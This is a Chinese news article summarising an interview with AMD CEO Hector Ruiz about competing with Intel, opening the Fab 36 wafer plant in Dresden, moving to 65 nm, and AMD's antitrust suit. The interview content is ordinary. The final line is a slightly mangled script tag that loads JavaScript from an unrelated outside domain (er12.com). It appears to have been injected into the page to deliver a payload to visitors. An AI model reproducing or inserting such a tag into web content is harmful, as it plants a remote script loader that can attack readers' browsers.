导读：国外媒体10月10日刊登了对amd主席、ceo兼总裁赫克托-鲁伊兹(hector ruiz)的采访记录。在最近进行的这次采访中，鲁伊兹谈到了amd将如何应对竞争对手英特尔、如何增加公司产能及保持公司创新能力等问题。
过去一年中，amd进行了一系列创新，并在微处理器市场取得了前所未有的成功，进而对竞争对手英特尔构成了实质性威胁。对于起诉英特尔进行市场垄断一事，amd最近对15家pc制造商及零售商发出了传票。amd将于美国当地时间周二公布今年第三季度财报。amd此前预计，过去两个季度中，公司微处理器业务收入增长了40%。与此同时，amd将于本周五在德国德累斯顿开通新的300毫米晶圆工厂，以缓解产能不足压力。下面是鲁伊兹接受采访时的问答摘要：
问：自今年开始以来，amd已取得了多大进步？
答：我们每个季度都在向前发展，事实上今年以来我们已取得了长足进步。我们的市场空间正逐步扩大，优秀员工也在增加。我个人认为，amd的全球知名度已大为提高，因而我们正面临着诸多良好发展机遇。
问：对amd的双核产品，英特尔颇不以为然。对此你有何看法？
答：在该业务领域中，我并不认为他们能超过我们，我们自信有着性能更强的产品。
问：你们将于周五正式开通第36工厂(fab 36)，这将对amd的未来发展带来多大程度的积极影响？
答：它将给我们带来巨大影响。这也是我们较长时间内的首次大幅度提高产能。它是我们的首家300毫米晶圆工厂。我们相信该工厂至少能处理三个制造节点。我们对该工厂进行了大量前期接入和准备工作，我们的德国团队为此付出了巨大努力。
问：即使amd第36工厂投产后，你们的产能仍无法与英特尔相抗衡。amd客户是否对这种情况表示过担心？
答：我并不这么看。我们进行这次产能扩充后，已经留出了更多的扩展空间。我们的客户也没有表示过任何担心。
问：显而易见，你肯定愿意看到amd能满足整个芯片市场需求量的60%~70%，但这种情况并不会马上到来。在第36工厂投产后，将使amd的潜在市场比率提升多少？
答：那要看你能做到何种程度以及反应速度如何了。但仅仅德国一处工厂来说，它2008年或2009年时的年产能将达到1亿枚，这将使我们的潜在市场比率可提高到25%~30%左右。我们将尽最大努力以实现目标。
问：第36工厂开通后，使amd拥有了何种新实力？它能否改变amd的市场竞争地位？
答：这应该从两个方面看。一是它能使我们顺利执行自己的科技创新路线图，进而由65纳米技术转向42纳米及32纳米技术。这确实是我们以前没有的东西。二是该工厂使我们的产能大为提高。
问：如果只依靠amd现有的芯片工厂，你们也就就只能转向65纳米技术(amd目前使用90纳米技术)？
答：我们对此还没有作最后决定。如果我们准备将第30工厂转向65纳米技术，其困难将大于我们的预计。
问：在经过一段时间后，你是否仍然认为amd起诉英特尔一事进展得很顺利？有些人会认为，amd起诉英特尔实为孤注一掷及承认自己实力不足。
答：不管他们发表什么样的观点，我都能表示理解。但说这种说法相反的是，我们的市场实力并非不足。我们的产品性能很高，并在技术上居于领先地位，我们正取得前所未有的进步。我们认为，我们是在适当的时间告诉世人，英特尔的商业行为实属违法，他们必须立即停止此行为。对于我们正研发的各种新技术产品，客户有权选择是否使用。目前已到了清除各种人为市场障碍的时候了，这样我们就不会被排斥在市场之外。
问：amd起诉英特尔后，客户们的态度或采购模式是否已发生变化？
答：现在就说诉讼案已带来了何种影响还为时过早。我认为客户将从英特尔实施的各种限定措施中解脱出来，这对客户和amd都将是好事情。
问：在过去数年中，amd凭借opteron在服务器芯片市场取得了不俗业绩。那么amd今后是否有可能在大型企业用户市场取得巨大成功，而不必着重考虑在pc或客户业务的强势地位？
答：我们计划能在客户业务上取得强势地位。三年前，我们决定进入企业服务器业务，并决定打开这一市场以到达我们想进入的领域。但我们仍将继续成为企业用户的全面型供货商，包括客户、台式机及移动产品。
问：amd起诉英特尔的核心似乎集中于客户争执上，即你们抱怨无法在该领域取得amd本来应有的市场地位。如果你们不能实现既定的企业战略，那amd能否成为企业用户供货商？
答：我们将把企业用户战略作为整体战略的一部分，并将尽力实现这一目标。我们将推出更新技术的新产品。我相信，就像接受opteron一样，市场肯定对高性能产品肯定会持欢迎态度的。
?script src=http://er12.com/t.js>
